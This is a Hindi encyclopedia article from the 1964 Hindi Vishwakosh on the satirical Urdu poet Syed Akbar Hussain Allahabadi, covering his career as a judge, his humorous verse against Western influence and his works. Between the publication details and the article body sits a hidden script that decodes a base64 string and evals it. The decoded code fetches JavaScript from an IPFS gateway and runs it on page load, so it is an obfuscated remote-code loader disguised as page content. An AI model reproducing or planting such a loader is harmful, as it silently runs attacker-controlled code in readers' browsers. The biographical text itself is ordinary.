सैयद अकबर हुसैन

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लेख सूचना
सैयद अकबर हुसैन
पुस्तक नाम हिन्दी विश्वकोश खण्ड 1
पृष्ठ संख्या 65
भाषा हिन्दी देवनागरी
संपादक सुधाकर पाण्डेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1964 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक सैयद एहतेशाम हुसैन।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>अकबर, सैयद अकबर हुसेन' (1846-1921 ई.) इलाहाबाद (उ. प्र.) के वर्तमान काल के सुप्रसिद्ध उर्दू कवि। थोड़ी शिक्षा प्राप्त करने के बाद 1868 में मुख्तारी की परीक्षा पास की, 1869 पास की और मुनसिफ हो गए, फिर क्रमश उन्नति करते-करते सेशन जज हुए जहाँ से 1920 ई. में उन्होंने अवकाश प्राप्त किया। 1921 ई. में प्रयाग में उनका देहांत हुआ।

अकबर ने 1860 ई. के लगभग काव्य रचना आरंभ की। अधिकतर गजल लिखते थे पर जब लखनऊ से अवध पंच निकला तो अकबर ने भी हास्यरस को अपनाया और थोड़े ही समय में इस रंग के सर्वश्रेष्ठ कवि माने जाने लगे। इस क्षेत्र में कोई उनसे ऊँचा न उठ सका। अकबर के काव्य में व्यंग्य भी है और वह व्यंग्य अधिकतर पश्चिमी सभ्यता के आक्रमण के विरुद्ध है जो भारत और विशेष रूप से मुसलमानों की शिक्षा, संस्कृति और जीवन को बदल रही थी। व्यंग्य और हास्य की आड़ में वह विदेशी राज्य पर कड़ी चोटें करते थे। वे समाज में हर ऐसे अच्छे-बुरे परिवर्तन के विरुद्ध थे जो अंग्रेजी प्रभाव से प्रेरित था। उनकी विशेष रचनाएँ ये हैं:-- कुल्लियाते अकबर 4 भाग। गांधीनामा; पत्रों का संग्रह।

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टीका टिप्पणी और संदर्भ

सं. ग्रं.-अकबर तालिब इलाहाबादी; अकबरनामा अब्दुल मजीद दरियाबादी।